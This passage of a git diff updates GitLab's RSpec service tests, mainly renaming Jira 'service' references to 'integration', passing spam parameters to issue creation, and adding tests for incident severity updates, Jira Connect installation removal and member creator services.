it 'closes the issue on the external issue tracker' do
project.reload
@@ -92,7 +92,7 @@ RSpec.describe Issues::CloseService do
end
context 'with inactive external issue tracker supporting close_issue' do
- let!(:external_issue_tracker) { create(:jira_service, project: project, active: false) }
+ let!(:external_issue_tracker) { create(:jira_integration, project: project, active: false) }
it 'does not close the issue on the external issue tracker' do
project.reload
@@ -323,7 +323,7 @@ RSpec.describe Issues::CloseService do
context 'when issue is not confidential' do
it 'executes issue hooks' do
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
- expect(project).to receive(:execute_services).with(an_instance_of(Hash), :issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :issue_hooks)
described_class.new(project: project, current_user: user).close_issue(issue)
end
@@ -334,7 +334,7 @@ RSpec.describe Issues::CloseService do
issue = create(:issue, :confidential, project: project)
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :confidential_issue_hooks)
- expect(project).to receive(:execute_services).with(an_instance_of(Hash), :confidential_issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :confidential_issue_hooks)
described_class.new(project: project, current_user: user).close_issue(issue)
end
diff --git a/spec/services/issues/create_service_spec.rb b/spec/services/issues/create_service_spec.rb
index 94810d6134a..b073ffd291f 100644
--- a/spec/services/issues/create_service_spec.rb
+++ b/spec/services/issues/create_service_spec.rb
@@ -8,11 +8,17 @@ RSpec.describe Issues::CreateService do
let_it_be_with_reload(:project) { create(:project) }
let_it_be(:user) { create(:user) }
+ let(:spam_params) { double }
+
describe '#execute' do
let_it_be(:assignee) { create(:user) }
let_it_be(:milestone) { create(:milestone, project: project) }
- let(:issue) { described_class.new(project: project, current_user: user, params: opts).execute }
+ let(:issue) { described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute }
+
+ before do
+ stub_spam_services
+ end
context 'when params are valid' do
let_it_be(:labels) { create_pair(:label, project: project) }
@@ -44,7 +50,7 @@ RSpec.describe Issues::CreateService do
end
context 'when skip_system_notes is true' do
- let(:issue) { described_class.new(project: project, current_user: user, params: opts).execute(skip_system_notes: true) }
+ let(:issue) { described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute(skip_system_notes: true) }
it 'does not call Issuable::CommonSystemNotesService' do
expect(Issuable::CommonSystemNotesService).not_to receive(:new)
@@ -92,7 +98,7 @@ RSpec.describe Issues::CreateService do
let_it_be(:non_member) { create(:user) }
it 'filters out params that cannot be set without the :set_issue_metadata permission' do
- issue = described_class.new(project: project, current_user: non_member, params: opts).execute
+ issue = described_class.new(project: project, current_user: non_member, params: opts, spam_params: spam_params).execute
expect(issue).to be_persisted
expect(issue.title).to eq('Awesome issue')
@@ -104,7 +110,7 @@ RSpec.describe Issues::CreateService do
end
it 'can create confidential issues' do
- issue = described_class.new(project: project, current_user: non_member, params: { confidential: true }).execute
+ issue = described_class.new(project: project, current_user: non_member, params: { confidential: true }, spam_params: spam_params).execute
expect(issue.confidential).to be_truthy
end
@@ -113,7 +119,7 @@ RSpec.describe Issues::CreateService do
it 'moves the issue to the end, in an asynchronous worker' do
expect(IssuePlacementWorker).to receive(:perform_async).with(be_nil, Integer)
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
end
context 'when label belongs to project group' do
@@ -200,7 +206,7 @@ RSpec.describe Issues::CreateService do
it 'invalidates open issues counter for assignees when issue is assigned' do
project.add_maintainer(assignee)
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
expect(assignee.assigned_open_issues_count).to eq 1
end
@@ -224,18 +230,18 @@ RSpec.describe Issues::CreateService do
opts = { title: 'Title', description: 'Description', confidential: false }
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
- expect(project).to receive(:execute_services).with(an_instance_of(Hash), :issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :issue_hooks)
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
end
it 'executes confidential issue hooks when issue is confidential' do
opts = { title: 'Title', description: 'Description', confidential: true }
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :confidential_issue_hooks)
- expect(project).to receive(:execute_services).with(an_instance_of(Hash), :confidential_issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :confidential_issue_hooks)
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
end
context 'after_save callback to store_mentions' do
@@ -279,7 +285,7 @@ RSpec.describe Issues::CreateService do
it 'removes assignee when user id is invalid' do
opts = { title: 'Title', description: 'Description', assignee_ids: [-1] }
- issue = described_class.new(project: project, current_user: user, params: opts).execute
+ issue = described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
expect(issue.assignees).to be_empty
end
@@ -287,7 +293,7 @@ RSpec.describe Issues::CreateService do
it 'removes assignee when user id is 0' do
opts = { title: 'Title', description: 'Description', assignee_ids: [0] }
- issue = described_class.new(project: project, current_user: user, params: opts).execute
+ issue = described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
expect(issue.assignees).to be_empty
end
@@ -296,7 +302,7 @@ RSpec.describe Issues::CreateService do
project.add_maintainer(assignee)
opts = { title: 'Title', description: 'Description', assignee_ids: [assignee.id] }
- issue = described_class.new(project: project, current_user: user, params: opts).execute
+ issue = described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
expect(issue.assignees).to eq([assignee])
end
@@ -314,7 +320,7 @@ RSpec.describe Issues::CreateService do
project.update!(visibility_level: level)
opts = { title: 'Title', description: 'Description', assignee_ids: [assignee.id] }
- issue = described_class.new(project: project, current_user: user, params: opts).execute
+ issue = described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
expect(issue.assignees).to be_empty
end
@@ -324,7 +330,7 @@ RSpec.describe Issues::CreateService do
end
it_behaves_like 'issuable record that supports quick actions' do
- let(:issuable) { described_class.new(project: project, current_user: user, params: params).execute }
+ let(:issuable) { described_class.new(project: project, current_user: user, params: params, spam_params: spam_params).execute }
end
context 'Quick actions' do
@@ -364,14 +370,14 @@ RSpec.describe Issues::CreateService do
let(:opts) { { discussion_to_resolve: discussion.id, merge_request_to_resolve_discussions_of: merge_request.iid } }
it 'resolves the discussion' do
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
discussion.first_note.reload
expect(discussion.resolved?).to be(true)
end
it 'added a system note to the discussion' do
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
reloaded_discussion = MergeRequest.find(merge_request.id).discussions.first
@@ -379,7 +385,7 @@ RSpec.describe Issues::CreateService do
end
it 'assigns the title and description for the issue' do
- issue = described_class.new(project: project, current_user: user, params: opts).execute
+ issue = described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
expect(issue.title).not_to be_nil
expect(issue.description).not_to be_nil
@@ -391,7 +397,8 @@ RSpec.describe Issues::CreateService do
merge_request_to_resolve_discussions_of: merge_request,
description: nil,
title: nil
- }).execute
+ },
+ spam_params: spam_params).execute
expect(issue.description).to be_nil
expect(issue.title).to be_nil
@@ -402,14 +409,14 @@ RSpec.describe Issues::CreateService do
let(:opts) { { merge_request_to_resolve_discussions_of: merge_request.iid } }
it 'resolves the discussion' do
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
discussion.first_note.reload
expect(discussion.resolved?).to be(true)
end
it 'added a system note to the discussion' do
- described_class.new(project: project, current_user: user, params: opts).execute
+ described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
reloaded_discussion = MergeRequest.find(merge_request.id).discussions.first
@@ -417,7 +424,7 @@ RSpec.describe Issues::CreateService do
end
it 'assigns the title and description for the issue' do
- issue = described_class.new(project: project, current_user: user, params: opts).execute
+ issue = described_class.new(project: project, current_user: user, params: opts, spam_params: spam_params).execute
expect(issue.title).not_to be_nil
expect(issue.description).not_to be_nil
@@ -429,7 +436,8 @@ RSpec.describe Issues::CreateService do
merge_request_to_resolve_discussions_of: merge_request,
description: nil,
title: nil
- }).execute
+ },
+ spam_params: spam_params).execute
expect(issue.description).to be_nil
expect(issue.title).to be_nil
@@ -438,47 +446,27 @@ RSpec.describe Issues::CreateService do
end
context 'checking spam' do
- let(:request) { double(:request, headers: nil) }
- let(:api) { true }
- let(:captcha_response) { 'abc123' }
- let(:spam_log_id) { 1 }
-
let(:params) do
{
- title: 'Spam issue',
- request: request,
- api: api,
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
+ title: 'Spam issue'
}
end
subject do
- described_class.new(project: project, current_user: user, params: params)
- end
-
- before do
- allow_next_instance_of(UserAgentDetailService) do |instance|
- allow(instance).to receive(:create)
- end
+ described_class.new(project: project, current_user: user, params: params, spam_params: spam_params)
end
it 'executes SpamActionService' do
- spam_params = Spam::SpamParams.new(
- api: api,
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
- )
expect_next_instance_of(
Spam::SpamActionService,
{
- spammable: an_instance_of(Issue),
- request: request,
- user: user,
+ spammable: kind_of(Issue),
+ spam_params: spam_params,
+ user: an_instance_of(User),
action: :create
}
) do |instance|
- expect(instance).to receive(:execute).with(spam_params: spam_params)
+ expect(instance).to receive(:execute)
end
subject.execute
diff --git a/spec/services/issues/move_service_spec.rb b/spec/services/issues/move_service_spec.rb
index 76588860957..36af38aef18 100644
--- a/spec/services/issues/move_service_spec.rb
+++ b/spec/services/issues/move_service_spec.rb
@@ -38,6 +38,10 @@ RSpec.describe Issues::MoveService do
context 'issue movable' do
include_context 'user can move issue'
+ it 'creates resource state event' do
+ expect { move_service.execute(old_issue, new_project) }.to change(ResourceStateEvent.where(issue_id: old_issue), :count).by(1)
+ end
+
context 'generic issue' do
include_context 'issue move executed'
@@ -87,6 +91,10 @@ RSpec.describe Issues::MoveService do
expect(old_issue.moved_to).to eq new_issue
end
+ it 'marks issue as closed' do
+ expect(old_issue.closed?).to eq true
+ end
+
it 'preserves create time' do
expect(old_issue.created_at).to eq new_issue.created_at
end
diff --git a/spec/services/issues/reopen_service_spec.rb b/spec/services/issues/reopen_service_spec.rb
index 746a9105531..d58c27289c2 100644
--- a/spec/services/issues/reopen_service_spec.rb
+++ b/spec/services/issues/reopen_service_spec.rb
@@ -65,7 +65,7 @@ RSpec.describe Issues::ReopenService do
context 'when issue is not confidential' do
it 'executes issue hooks' do
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
- expect(project).to receive(:execute_services).with(an_instance_of(Hash), :issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :issue_hooks)
described_class.new(project: project, current_user: user).execute(issue)
end
@@ -76,7 +76,7 @@ RSpec.describe Issues::ReopenService do
issue = create(:issue, :confidential, :closed, project: project)
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :confidential_issue_hooks)
- expect(project).to receive(:execute_services).with(an_instance_of(Hash), :confidential_issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :confidential_issue_hooks)
described_class.new(project: project, current_user: user).execute(issue)
end
diff --git a/spec/services/issues/update_service_spec.rb b/spec/services/issues/update_service_spec.rb
index b95d94e3784..70c3c2a0f5d 100644
--- a/spec/services/issues/update_service_spec.rb
+++ b/spec/services/issues/update_service_spec.rb
@@ -83,16 +83,16 @@ RSpec.describe Issues::UpdateService, :mailer do
end
context 'when issue type is not incident' do
- it 'returns default severity' do
+ before do
update_issue(opts)
-
- expect(issue.severity).to eq(IssuableSeverity::DEFAULT)
end
- it_behaves_like 'not an incident issue' do
- before do
- update_issue(opts)
- end
+ it_behaves_like 'not an incident issue'
+
+ context 'when confidentiality is changed' do
+ subject { update_issue(confidential: true) }
+
+ it_behaves_like 'does not track incident management event'
end
end
@@ -105,12 +105,16 @@ RSpec.describe Issues::UpdateService, :mailer do
it_behaves_like 'incident issue'
- it 'changes updates the severity' do
- expect(issue.severity).to eq('low')
+ it 'does not add an incident label' do
+ expect(issue.labels).to match_array [label]
end
- it 'does not apply incident labels' do
- expect(issue.labels).to match_array [label]
+ context 'when confidentiality is changed' do
+ let(:current_user) { user }
+
+ subject { update_issue(confidential: true) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_change_confidential
end
end
@@ -140,24 +144,6 @@ RSpec.describe Issues::UpdateService, :mailer do
expect(issue.confidential).to be_falsey
end
- context 'issue in incident type' do
- let(:current_user) { user }
-
- before do
- opts.merge!(issue_type: 'incident', confidential: true)
- end
-
- subject { update_issue(opts) }
-
- it_behaves_like 'an incident management tracked event', :incident_management_incident_change_confidential
-
- it_behaves_like 'incident issue' do
- before do
- subject
- end
- end
- end
-
context 'changing issue_type' do
let!(:label_1) { create(:label, project: project, title: 'incident') }
let!(:label_2) { create(:label, project: project, title: 'missed-sla') }
@@ -167,6 +153,12 @@ RSpec.describe Issues::UpdateService, :mailer do
end
context 'from issue to incident' do
+ it_behaves_like 'incident issue' do
+ before do
+ update_issue(**opts, issue_type: 'incident')
+ end
+ end
+
it 'adds a `incident` label if one does not exist' do
expect { update_issue(issue_type: 'incident') }.to change(issue.labels, :count).by(1)
expect(issue.labels.pluck(:title)).to eq(['incident'])
@@ -488,6 +480,21 @@ RSpec.describe Issues::UpdateService, :mailer do
end
end
end
+
+ it 'verifies the number of queries' do
+ update_issue(description: "- [ ] Task 1 #{user.to_reference}")
+
+ baseline = ActiveRecord::QueryRecorder.new do
+ update_issue(description: "- [x] Task 1 #{user.to_reference}")
+ end
+
+ recorded = ActiveRecord::QueryRecorder.new do
+ update_issue(description: "- [x] Task 1 #{user.to_reference}\n- [ ] Task 2 #{user.to_reference}")
+ end
+
+ expect(recorded.count).to eq(baseline.count - 1)
+ expect(recorded.cached_count).to eq(0)
+ end
end
context 'when description changed' do
@@ -522,7 +529,7 @@ RSpec.describe Issues::UpdateService, :mailer do
it 'executes confidential issue hooks' do
expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :confidential_issue_hooks)
- expect(project).to receive(:execute_services).with(an_instance_of(Hash), :confidential_issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :confidential_issue_hooks)
update_issue(confidential: true)
end
@@ -1005,6 +1012,101 @@ RSpec.describe Issues::UpdateService, :mailer do
include_examples 'updating mentions', described_class
end
+ context 'updating severity' do
+ let(:opts) { { severity: 'low' } }
+
+ shared_examples 'updates the severity' do |expected_severity|
+ it 'has correct value' do
+ update_issue(opts)
+
+ expect(issue.severity).to eq(expected_severity)
+ end
+
+ it 'creates a system note' do
+ expect(::IncidentManagement::AddSeveritySystemNoteWorker).to receive(:perform_async).with(issue.id, user.id)
+
+ update_issue(opts)
+ end
+
+ it 'triggers webhooks' do
+ expect(project).to receive(:execute_hooks).with(an_instance_of(Hash), :issue_hooks)
+ expect(project).to receive(:execute_integrations).with(an_instance_of(Hash), :issue_hooks)
+
+ update_issue(opts)
+ end
+ end
+
+ shared_examples 'does not change the severity' do
+ it 'retains the original value' do
+ expected_severity = issue.severity
+
+ update_issue(opts)
+
+ expect(issue.severity).to eq(expected_severity)
+ end
+
+ it 'does not trigger side-effects' do
+ expect(::IncidentManagement::AddSeveritySystemNoteWorker).not_to receive(:perform_async)
+ expect(project).not_to receive(:execute_hooks)
+ expect(project).not_to receive(:execute_integrations)
+
+ expect { update_issue(opts) }.not_to change(IssuableSeverity, :count)
+ end
+ end
+
+ context 'on incidents' do
+ let(:issue) { create(:incident, project: project) }
+
+ context 'when severity has not been set previously' do
+ it_behaves_like 'updates the severity', 'low'
+
+ it 'creates a new record' do
+ expect { update_issue(opts) }.to change(IssuableSeverity, :count).by(1)
+ end
+
+ context 'with unsupported severity value' do
+ let(:opts) { { severity: 'unsupported-severity' } }
+
+ it_behaves_like 'does not change the severity'
+ end
+
+ context 'with severity value defined but unchanged' do
+ let(:opts) { { severity: IssuableSeverity::DEFAULT } }
+
+ it_behaves_like 'does not change the severity'
+ end
+ end
+
+ context 'when severity has been set before' do
+ before do
+ create(:issuable_severity, issue: issue, severity: 'high')
+ end
+
+ it_behaves_like 'updates the severity', 'low'
+
+ it 'does not create a new record' do
+ expect { update_issue(opts) }.not_to change(IssuableSeverity, :count)
+ end
+
+ context 'with unsupported severity value' do
+ let(:opts) { { severity: 'unsupported-severity' } }
+
+ it_behaves_like 'updates the severity', IssuableSeverity::DEFAULT
+ end
+
+ context 'with severity value defined but unchanged' do
+ let(:opts) { { severity: issue.severity } }
+
+ it_behaves_like 'does not change the severity'
+ end
+ end
+ end
+
+ context 'when issue type is not incident' do
+ it_behaves_like 'does not change the severity'
+ end
+ end
+
context 'duplicate issue' do
let(:canonical_issue) { create(:issue, project: project) }
diff --git a/spec/services/jira/requests/projects/list_service_spec.rb b/spec/services/jira/requests/projects/list_service_spec.rb
index 0fff51b1226..ab15254d948 100644
--- a/spec/services/jira/requests/projects/list_service_spec.rb
+++ b/spec/services/jira/requests/projects/list_service_spec.rb
@@ -5,17 +5,17 @@ require 'spec_helper'
RSpec.describe Jira::Requests::Projects::ListService do
include AfterNextHelpers
- let(:jira_service) { create(:jira_service) }
+ let(:jira_integration) { create(:jira_integration) }
let(:params) { {} }
describe '#execute' do
- let(:service) { described_class.new(jira_service, params) }
+ let(:service) { described_class.new(jira_integration, params) }
subject { service.execute }
- context 'without jira_service' do
+ context 'without jira_integration' do
before do
- jira_service.update!(active: false)
+ jira_integration.update!(active: false)
end
it 'returns an error response' do
@@ -24,8 +24,8 @@ RSpec.describe Jira::Requests::Projects::ListService do
end
end
- context 'when jira_service is nil' do
- let(:jira_service) { nil }
+ context 'when jira_integration is nil' do
+ let(:jira_integration) { nil }
it 'returns an error response' do
expect(subject.error?).to be_truthy
@@ -33,11 +33,11 @@ RSpec.describe Jira::Requests::Projects::ListService do
end
end
- context 'with jira_service' do
+ context 'with jira_integration' do
context 'when validations and params are ok' do
let(:response_headers) { { 'content-type' => 'application/json' } }
let(:response_body) { [].to_json }
- let(:expected_url_pattern) { /.*jira.example.com\/rest\/api\/2\/project/ }
+ let(:expected_url_pattern) { %r{.*jira.example.com/rest/api/2/project} }
before do
stub_request(:get, expected_url_pattern).to_return(status: 200, body: response_body, headers: response_headers)
@@ -59,8 +59,8 @@ RSpec.describe Jira::Requests::Projects::ListService do
end
context 'when jira runs on a subpath' do
- let(:jira_service) { create(:jira_service, url: 'http://jira.example.com/jira') }
- let(:expected_url_pattern) { /.*jira.example.com\/jira\/rest\/api\/2\/project/ }
+ let(:jira_integration) { create(:jira_integration, url: 'http://jira.example.com/jira') }
+ let(:expected_url_pattern) { %r{.*jira.example.com/jira/rest/api/2/project} }
it 'takes the subpath into account' do
expect(subject.success?).to be_truthy
diff --git a/spec/services/jira_connect/sync_service_spec.rb b/spec/services/jira_connect/sync_service_spec.rb
index edd0bad70f5..c20aecaaef0 100644
--- a/spec/services/jira_connect/sync_service_spec.rb
+++ b/spec/services/jira_connect/sync_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe JiraConnect::SyncService do
describe '#execute' do
let_it_be(:project) { create(:project, :repository) }
+
let(:client) { Atlassian::JiraConnect::Client }
let(:info) { { a: 'Some', b: 'Info' } }
diff --git a/spec/services/jira_connect_installations/destroy_service_spec.rb b/spec/services/jira_connect_installations/destroy_service_spec.rb
new file mode 100644
index 00000000000..bb5bab53ccb
--- /dev/null
+++ b/spec/services/jira_connect_installations/destroy_service_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnectInstallations::DestroyService do
+ describe '.execute' do
+ it 'creates an instance and calls execute' do
+ expect_next_instance_of(described_class, 'param1', 'param2', 'param3') do |destroy_service|
+ expect(destroy_service).to receive(:execute)
+ end
+
+ described_class.execute('param1', 'param2', 'param3')
+ end
+ end
+
+ describe '#execute' do
+ let!(:installation) { create(:jira_connect_installation) }
+ let(:jira_base_path) { '/-/jira_connect' }
+ let(:jira_event_path) { '/-/jira_connect/events/uninstalled' }
+
+ subject { described_class.new(installation, jira_base_path, jira_event_path).execute }
+
+ it { is_expected.to be_truthy }
+
+ it 'deletes the installation' do
+ expect { subject }.to change(JiraConnectInstallation, :count).by(-1)
+ end
+
+ context 'and the installation has an instance_url set' do
+ let!(:installation) { create(:jira_connect_installation, instance_url: 'http://example.com') }
+
+ it { is_expected.to be_truthy }
+
+ it 'schedules a ForwardEventWorker background job and keeps the installation' do
+ expect(JiraConnect::ForwardEventWorker).to receive(:perform_async).with(installation.id, jira_base_path, jira_event_path)
+
+ expect { subject }.not_to change(JiraConnectInstallation, :count)
+ end
+ end
+ end
+end
diff --git a/spec/services/jira_import/start_import_service_spec.rb b/spec/services/jira_import/start_import_service_spec.rb
index a10928355ef..e04e3314158 100644
--- a/spec/services/jira_import/start_import_service_spec.rb
+++ b/spec/services/jira_import/start_import_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe JiraImport::StartImportService do
let_it_be(:user) { create(:user) }
let_it_be(:project, reload: true) { create(:project) }
+
let(:key) { 'KEY' }
let(:mapping) do
[
@@ -28,10 +29,10 @@ RSpec.describe JiraImport::StartImportService do
end
context 'when project validation is ok' do
- let!(:jira_service) { create(:jira_service, project: project, active: true) }
+ let!(:jira_integration) { create(:jira_integration, project: project, active: true) }
before do
- stub_jira_service_test
+ stub_jira_integration_test
allow(Gitlab::JiraImport).to receive(:validate_project_settings!)
end
diff --git a/spec/services/jira_import/users_importer_spec.rb b/spec/services/jira_import/users_importer_spec.rb
index 2e8c556d62c..af408847260 100644
--- a/spec/services/jira_import/users_importer_spec.rb
+++ b/spec/services/jira_import/users_importer_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe JiraImport::UsersImporter do
end
before do
- stub_jira_service_test
+ stub_jira_integration_test
project.add_maintainer(user)
end
@@ -45,7 +45,7 @@ RSpec.describe JiraImport::UsersImporter do
RSpec.shared_examples 'maps Jira users to GitLab users' do |users_mapper_service:|
context 'when Jira import is configured correctly' do
- let_it_be(:jira_service) { create(:jira_service, project: project, active: true, url: "http://jira.example.net") }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project, active: true, url: "http://jira.example.net") }
context 'when users mapper service raises an error' do
let(:error) { Timeout::Error.new }
@@ -98,9 +98,9 @@ RSpec.describe JiraImport::UsersImporter do
context 'when Jira instance is of Server deployment type' do
before do
- allow(project).to receive(:jira_service).and_return(jira_service)
+ allow(project).to receive(:jira_integration).and_return(jira_integration)
- jira_service.data_fields.deployment_server!
+ jira_integration.data_fields.deployment_server!
end
it_behaves_like 'maps Jira users to GitLab users', users_mapper_service: JiraImport::ServerUsersMapperService
@@ -108,9 +108,9 @@ RSpec.describe JiraImport::UsersImporter do
context 'when Jira instance is of Cloud deployment type' do
before do
- allow(project).to receive(:jira_service).and_return(jira_service)
+ allow(project).to receive(:jira_integration).and_return(jira_integration)
- jira_service.data_fields.deployment_cloud!
+ jira_integration.data_fields.deployment_cloud!
end
it_behaves_like 'maps Jira users to GitLab users', users_mapper_service: JiraImport::CloudUsersMapperService
diff --git a/spec/services/keys/destroy_service_spec.rb b/spec/services/keys/destroy_service_spec.rb
index 59ce4a941c7..dd40f9d73fd 100644
--- a/spec/services/keys/destroy_service_spec.rb
+++ b/spec/services/keys/destroy_service_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Keys::DestroyService do
subject { described_class.new(user) }
it 'destroys a key' do
- key = create(:key)
+ key = create(:personal_key)
expect { subject.execute(key) }.to change(Key, :count).by(-1)
end
diff --git a/spec/services/markdown_content_rewriter_service_spec.rb b/spec/services/markdown_content_rewriter_service_spec.rb
index 47332bec319..37c8a210ba5 100644
--- a/spec/services/markdown_content_rewriter_service_spec.rb
+++ b/spec/services/markdown_content_rewriter_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe MarkdownContentRewriterService do
let_it_be(:user) { create(:user) }
let_it_be(:source_parent) { create(:project, :public) }
let_it_be(:target_parent) { create(:project, :public) }
+
let(:content) { 'My content' }
describe '#initialize' do
@@ -34,6 +35,7 @@ RSpec.describe MarkdownContentRewriterService do
# to prove they run correctly.
context 'when content contains a reference' do
let_it_be(:issue) { create(:issue, project: source_parent) }
+
let(:content) { "See ##{issue.iid}" }
it 'rewrites content' do
diff --git a/spec/services/members/create_service_spec.rb b/spec/services/members/create_service_spec.rb
index ffe63a8a94b..ee5250b5b3d 100644
--- a/spec/services/members/create_service_spec.rb
+++ b/spec/services/members/create_service_spec.rb
@@ -2,12 +2,13 @@
require 'spec_helper'
-RSpec.describe Members::CreateService, :aggregate_failures, :clean_gitlab_redis_shared_state, :sidekiq_inline do
+RSpec.describe Members::CreateService, :aggregate_failures, :clean_gitlab_redis_cache, :clean_gitlab_redis_shared_state, :sidekiq_inline do
let_it_be(:source) { create(:project) }
let_it_be(:user) { create(:user) }
let_it_be(:member) { create(:user) }
let_it_be(:user_ids) { member.id.to_s }
let_it_be(:access_level) { Gitlab::Access::GUEST }
+
let(:additional_params) { { invite_source: '_invite_source_' } }
let(:params) { { user_ids: user_ids, access_level: access_level }.merge(additional_params) }
diff --git a/spec/services/members/groups/creator_service_spec.rb b/spec/services/members/groups/creator_service_spec.rb
new file mode 100644
index 00000000000..4427c4e7d9f
--- /dev/null
+++ b/spec/services/members/groups/creator_service_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Members::Groups::CreatorService do
+ it_behaves_like 'member creation' do
+ let_it_be(:source, reload: true) { create(:group, :public) }
+ let_it_be(:member_type) { GroupMember }
+ end
+
+ describe '.access_levels' do
+ it 'returns Gitlab::Access.options_with_owner' do
+ expect(described_class.access_levels).to eq(Gitlab::Access.sym_options_with_owner)
+ end
+ end
+end
diff --git a/spec/services/members/invite_service_spec.rb b/spec/services/members/invite_service_spec.rb
index c530e3d0c53..dd82facaf14 100644
--- a/spec/services/members/invite_service_spec.rb
+++ b/spec/services/members/invite_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Members::InviteService, :aggregate_failures, :clean_gitlab_redis_
let_it_be(:user) { project.owner }
let_it_be(:project_user) { create(:user) }
let_it_be(:namespace) { project.namespace }
+
let(:params) { {} }
let(:base_params) { { access_level: Gitlab::Access::GUEST, source: project, invite_source: '_invite_source_' } }
diff --git a/spec/services/members/projects/creator_service_spec.rb b/spec/services/members/projects/creator_service_spec.rb
new file mode 100644
index 00000000000..c6917a21bcd
--- /dev/null
+++ b/spec/services/members/projects/creator_service_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Members::Projects::CreatorService do
+ it_behaves_like 'member creation' do
+ let_it_be(:source, reload: true) { create(:project, :public) }
+ let_it_be(:member_type) { ProjectMember }
+ end
+
+ describe '.access_levels' do
+ it 'returns Gitlab::Access.sym_options' do
+ expect(described_class.access_levels).to eq(Gitlab::Access.sym_options)
+ end
+ end
+end
diff --git a/spec/services/merge_requests/build_service_spec.rb b/spec/services/merge_requests/build_service_spec.rb
index d10f82289bd..0f282384661 100644
--- a/spec/services/merge_requests/build_service_spec.rb
+++ b/spec/services/merge_requests/build_service_spec.rb
@@ -252,8 +252,8 @@ RSpec.describe MergeRequests::BuildService do
context 'when the source branch matches an issue' do
where(:factory, :source_branch, :closing_message) do
- :jira_service | 'FOO-123-fix-issue' | 'Closes FOO-123'
- :jira_service | 'fix-issue' | nil
+ :jira_integration | 'FOO-123-fix-issue' | 'Closes FOO-123'
+ :jira_integration | 'fix-issue' | nil
:custom_issue_tracker_integration | '123-fix-issue' | 'Closes #123'
:custom_issue_tracker_integration | 'fix-issue' | nil
nil | '123-fix-issue' | 'Closes #123'
@@ -351,8 +351,8 @@ RSpec.describe MergeRequests::BuildService do
context 'when the source branch matches an issue' do
where(:factory, :source_branch, :title, :closing_message) do
- :jira_service | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
- :jira_service | 'fix-issue' | 'Fix issue' | nil
+ :jira_integration | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
+ :jira_integration | 'fix-issue' | 'Fix issue' | nil
:custom_issue_tracker_integration | '123-fix-issue' | 'Resolve #123 "Fix issue"' | 'Closes #123'
:custom_issue_tracker_integration | 'fix-issue' | 'Fix issue' | nil
nil | '123-fix-issue' | 'Resolve "A bug"' | 'Closes #123'
@@ -400,8 +400,8 @@ RSpec.describe MergeRequests::BuildService do
context 'when the source branch matches an issue' do
where(:factory, :source_branch, :title, :closing_message) do
- :jira_service | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
- :jira_service | 'fix-issue' | 'Fix issue' | nil
+ :jira_integration | 'FOO-123-fix-issue' | 'Resolve FOO-123 "Fix issue"' | 'Closes FOO-123'
+ :jira_integration | 'fix-issue' | 'Fix issue' | nil
:custom_issue_tracker_integration | '123-fix-issue' | 'Resolve #123 "Fix issue"' | 'Closes #123'
:custom_issue_tracker_integration | 'fix-issue' | 'Fix issue' | nil
nil | '123-fix-issue' | 'Resolve "A bug"' | 'Closes #123'
diff --git a/spec/services/merge_requests/handle_assignees_change_service_spec.rb b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
index f9eed6eea2d..c43f5db6059 100644
--- a/spec/services/merge_requests/handle_assignees_change_service_spec.rb
+++ b/spec/services/merge_requests/handle_assignees_change_service_spec.rb
